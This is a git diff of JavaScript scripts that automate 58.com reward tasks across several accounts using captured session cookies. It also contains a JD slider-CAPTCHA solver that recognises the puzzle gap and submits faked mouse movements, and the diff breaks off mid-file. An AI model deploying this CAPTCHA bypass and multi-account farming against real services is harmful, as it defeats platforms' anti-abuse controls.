`https://magicisland.58.com/web/mining/userInfo` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.mining.enroll = result.result.status + let enrollStr = (this.mining.enroll==0) ? '未召唤小帮手' : '已召唤小帮手' + console.log(`账号[${this.index}]神奇矿山${enrollStr}`) + if(result.result.grantList && result.result.grantList.length > 0) { + for(let mines of result.result.grantList) { + await $.wait(500) + await this.miningGain(mines.id) + } + this.mining.enroll = 0 + } + if(this.runTask == 1 && this.mining.enroll==0) { + if(parseFloat(result.result.usableOre) >= result.result.threshold) { + await $.wait(500) + await this.miningEnroll() + } else { + console.log(`账号[${this.index}]可用矿石余额${result.result.usableOre}不足,不能花费${result.result.threshold}矿石召唤小帮手`) + } + } + } else { + console.log(`账号[${this.index}]查询神奇矿山主页失败: ${result.message}`) + } + } + + async miningGain(id) { + let url = `https://magicisland.58.com/web/mining/gain?id=${id}` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]神奇矿山成功收取${result.result.gainOre}矿石`) + } else { + console.log(`账号[${this.index}]神奇矿山收取矿石失败: ${result.message}`) + } + } + + async miningEnroll() { + let url = `https://magicisland.58.com/web/mining/enroll` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]神奇矿山召唤小帮手成功`) + } else { + console.log(`账号[${this.index}]神奇矿山召唤小帮手失败: ${result.message}`) + } + } + + async auctionInfo() { + let url = `https://magicisland.58.com/web/auction/second` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + urlObject.headers.Referer = 'https://magicisland.58.com/web/v/lowauctiondetail' + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.auction.status = result.result.bidInfo.bidStatus + let auctionStr = (this.auction.status==0) ? '未参与竞拍' : '已参与竞拍' + console.log(`账号[${this.index}]今天${auctionStr}`) + let maxBid = parseFloat(result.result.userInfo.usableOre) + let bidNum = 1 + if(this.runTask == 1) { + if(this.auction.status==0) { + if(maxBid >= bidNum) { + await $.wait(500) + await this.auctionBid(bidNum) + } else { + console.log(`账号[${this.index}]可用矿石余额${maxBid}不足,不能竞拍出价${bidNum}矿石`) + } + } else if(this.auction.status==1) { + let lastBid = parseInt(result.result.bidInfo.bidOre) + bidNum = (lastBid)%3 + 1 + if(maxBid >= bidNum) { + await $.wait(500) + await this.auctionModify(bidNum,result.result.bidInfo.auctionNumber) + } else { + console.log(`账号[${this.index}]可用矿石余额${maxBid}不足,不能竞拍出价${bidNum}矿石`) + } + } + } + } else { + console.log(`账号[${this.index}]查询低价竞拍主页失败: ${result.message}`) + } + } + + async auctionBid(prize) { + let url = `https://magicisland.58.com/web/auction/bid` + let body = `ore=${prize}` + let urlObject = populateUrlObject(url,this.cookie,body) + urlObject.headers.Referer = 'https://magicisland.58.com/web/v/lowauctiondetail' + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]竞拍出价${prize}矿石成功`) + } else { + console.log(`账号[${this.index}]竞拍出价${prize}矿石失败: ${result.message}`) + } + } + + async auctionModify(prize,number) { + let url = `https://magicisland.58.com/web/auction/modify` + let body = `ore=${prize}&number=${number}` + let urlObject = populateUrlObject(url,this.cookie,body) + urlObject.headers.Referer = 'https://magicisland.58.com/web/v/lowauctiondetail' + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]竞拍改价${prize}矿石成功`) + } else { + console.log(`账号[${this.index}]竞拍改价${prize}矿石失败: ${result.message}`) + } + } + + async oreGameScore() { + let url = `https://magicisland.58.com/web/mineral/gameprocessore` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]领取游戏完成奖励成功`) + } else { + console.log(`账号[${this.index}]领取游戏完成奖励失败: ${result.message}`) + } + } + + async attendanceDetail() { + let url = `https://magicisland.58.com/web/attendance/detail/info?productorid=3` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + let attendList = '' + console.log(`账号[${this.index}]今天打卡状态:`) + for(let item of result.result.infoList) { + let type = attendType[item.type] + let str = (item.userState==0) ? '未报名' : ((item.userState==5) ? '可打卡' :'已报名') + console.log(`账号[${this.index}]${type}${item.number}期 -- ${str}`) + if(item.userState==0) { + if(this.runTask == 1) { + if(this.ore.ore >= item.oreLimitValue) { + await $.wait(500) + await this.attendanceSignIn(item) + } else { + console.log(`账号[${this.index}]矿石余额${this.ore.ore}不足,不能花费${item.oreLimitValue}矿石报名${type}${item.number}期打卡`) + } + } + } else if (item.userState==5) { + let numType = (item.type=='multiDay') ? 'numberMany' : 'number' + attendList += `&${numType}=${item.number}` + } + } + if(attendList) { + await $.wait(500) + await this.attendanceAttend(attendList) + } + } else { + console.log(`账号[${this.index}]查询打卡状态失败: ${result.message}`) + } + } + + async attendanceSignIn(item) { + let type = attendType[item.type] + let url = `https://magicisland.58.com/web/attendance/signIn` + let body = `number=${item.number}&category=${item.type}&productorid=3` + let urlObject = populateUrlObject(url,this.cookie,body) + urlObject.headers.Referer = 'https://magicisland.58.com/web/v/client' + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]报名${type}${item.number}期成功,预计可获得${result.result.averageRewardOre}矿石`) + } else { + console.log(`账号[${this.index}]报名${type}${item.number}期失败: ${result.message}`) + } + } + + async attendanceAttend(attendList) { + let url = `https://magicisland.58.com/web/attendance/attend` + let body = `productorid=3${attendList}` + let urlObject = populateUrlObject(url,this.cookie,body) + urlObject.headers.Referer = 'https://magicisland.58.com/web/v/client' + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]打卡成功`) + } else { + console.log(`账号[${this.index}]打卡失败: ${result.message}`) + } + } + + async cashSigninlist() { + let url = `https://tzbl.58.com/tzbl/taskcenter/signinlist?requestSource=1` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.cashSign = result.data.signInVO.status==2 ? true : false + let cashStr = this.cashSign ? '未签到' : '已签到' + console.log(`账号[${this.index}]今日现金签到页: ${cashStr}`) + } else { + console.log(`账号[${this.index}]查询现金签到失败: ${result.message}`) + } + } + + async cashSignin() { + let url = `https://tzbl.58.com/tzbl/taskcenter/signin?requestSource=1` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]现金签到获得${result.data.amount}元`) + } else { + console.log(`账号[${this.index}]查询现金签到失败: ${result.message}`) + } + } +} + +!(async () => { + if (typeof $request !== "undefined") { + await GetRewrite() + }else { + if(!(await checkEnv())) return + console.log('====================\n') + console.log(`如果要自定义UA,请把UA填到wbtcUA里,现在使用的UA是:\n${userUA}`) + + console.log('\n================== 现金签到 ==================') + for(let user of userList) { + await user.cashSigninlist(); + await $.wait(200); + } + + for(let user of userList.filter(x => x.cashSign)) { + await user.cashSignin(); + await $.wait(200); + } + + console.log('\n================== 矿山小游戏 ==================') + for(let user of userList) { + await user.miningUserInfo(); + await $.wait(200); + } + + console.log('\n================== 竞拍小游戏 ==================') + for(let user of userList) { + await user.auctionInfo(); + await $.wait(200); + } + + console.log('\n================== 打卡小游戏 ==================') + for(let user of userList) { + await user.oreMainpage(false); + await $.wait(200); + } + + for(let user of userList) { + await user.attendanceDetail(); + await $.wait(200); + } + + console.log('\n================== 金币任务 ==================') + if(curHour>=TASK_TIME[0] && curHour i i $.logErr(e)) +.finally(() => $.done()) + +/////////////////////////////////////////////////////////////////// +async function checkEnv() { + if(userCookie) { + for(let userCookies of userCookie.split('@')) { + if(userCookies) userList.push(new UserInfo(userCookies)) + } + userCount = userList.length + } else { + console.log('未找到wbtcCookie') + return; + } + + console.log(`共找到${userCount}个账号`) + return true +} + +async function GetRewrite() { + if($request.url.indexOf('getIndexSignInInfo') > -1) { + let ppu = $request.headers.ppu ? $request.headers.ppu : $request.headers.PPU + if(!ppu) return; + let uid = ppu.match(/UID=(\w+)/)[1] + let ck = 'PPU=' + ppu + + if(userCookie) { + if(userCookie.indexOf('UID='+uid) == -1) { + userCookie = userCookie + '@' + ck + $.setdata(userCookie, 'wbtcCookie'); + ckList = userCookie.split('@') + $.msg(jsname+` 获取第${ckList.length}个wbtcCookie成功: ${ck}`) + } else { + console.log(jsname+` 找到重复的wbtcCookie,准备替换: ${ck}`) + ckList = userCookie.split('@') + for(let i=0; i { + $[method](url, async (err, resp, data) => { + try { + if (err) { + console.log(`${method}请求失败`); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + httpResult = JSON.parse(data); + if(logDebug) console.log(httpResult); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } else { + console.log(data) + } + } catch (e) { + console.log(e); + console.log(`服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function getMin(a,b){ + return ((anumStr.length) ? (length-numStr.length) : 0 + let retStr = '' + for(let i=0; i>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=Base64._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/rn/g,"n");var t="";for(var n=0;n127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}} + +function MD5Encrypt(a){function b(a,b){return a<>>32-b}function c(a,b){var c,d,e,f,g;return e=2147483648&a,f=2147483648&b,c=1073741824&a,d=1073741824&b,g=(1073741823&a)+(1073741823&b),c&d?2147483648^g^e^f:c|d?1073741824&g?3221225472^g^e^f:1073741824^g^e^f:g^e^f}function d(a,b,c){return a&b|~a&c}function e(a,b,c){return a&c|b&~c}function f(a,b,c){return a^b^c}function g(a,b,c){return b^(a|~c)}function h(a,e,f,g,h,i,j){return a=c(a,c(c(d(e,f,g),h),j)),c(b(a,i),e)}function i(a,d,f,g,h,i,j){return a=c(a,c(c(e(d,f,g),h),j)),c(b(a,i),d)}function j(a,d,e,g,h,i,j){return a=c(a,c(c(f(d,e,g),h),j)),c(b(a,i),d)}function k(a,d,e,f,h,i,j){return a=c(a,c(c(g(d,e,f),h),j)),c(b(a,i),d)}function l(a){for(var b,c=a.length,d=c+8,e=(d-d%64)/64,f=16*(e+1),g=new Array(f-1),h=0,i=0;c>i;)b=(i-i%4)/4,h=i%4*8,g[b]=g[b]|a.charCodeAt(i)<>>29,g}function m(a){var b,c,d="",e="";for(c=0;3>=c;c++)b=a>>>8*c&255,e="0"+b.toString(16),d+=e.substr(e.length-2,2);return d}function n(a){a=a.replace(/\r\n/g,"\n");for(var b="",c=0;cd?b+=String.fromCharCode(d):d>127&&2048>d?(b+=String.fromCharCode(d>>6|192),b+=String.fromCharCode(63&d|128)):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128),b+=String.fromCharCode(63&d|128))}return b}var o,p,q,r,s,t,u,v,w,x=[],y=7,z=12,A=17,B=22,C=5,D=9,E=14,F=20,G=4,H=11,I=16,J=23,K=6,L=10,M=15,N=21;for(a=n(a),x=l(a),t=1732584193,u=4023233417,v=2562383102,w=271733878,o=0;o-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),"PUT"===e&&(s=this.put),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}put(t){return this.send.call(this.env,t,"PUT")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.put(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="PUT",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.put(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/CK_WxPusherUid.json b/CK_WxPusherUid.json new file mode 100644 index 0000000..d0979d4 --- /dev/null +++ b/CK_WxPusherUid.json @@ -0,0 +1,14 @@ +[ + { + "pt_pin": "ptpin1", + "Uid": "UID_AAAAAAAAAAAA" + }, + { + "pt_pin": "ptpin2", + "Uid": "UID_BBBBBBBBBB" + }, + { + "pt_pin": "ptpin3", + "Uid": "UID_CCCCCCCCC" + } +] \ No newline at end of file diff --git a/JDJRValidator_Pure.js b/JDJRValidator_Pure.js new file mode 100644 index 0000000..a930969 --- /dev/null +++ b/JDJRValidator_Pure.js @@ -0,0 +1,532 @@ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +let UA = require('./USER_AGENTS.js').USER_AGENT; +const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100 + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.count = 0; + } + + async run(scene = 'cww', eid='') { + const tryRecognize = async () => { + const x = await this.recognize(scene, eid); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + this.count++; + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.log(`验证失败: ${this.count}/${validatorCount}`); + // console.log(JSON.stringify(result)); + if(this.count >= validatorCount){ + console.log("JDJR验证次数已达上限,退出验证"); + return result; + }else{ + await sleep(300); + return await this.run(scene, eid); + } + } + } + + async recognize(scene, eid) { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + // console.log(JSON.stringify(re)) + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: eid, + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + 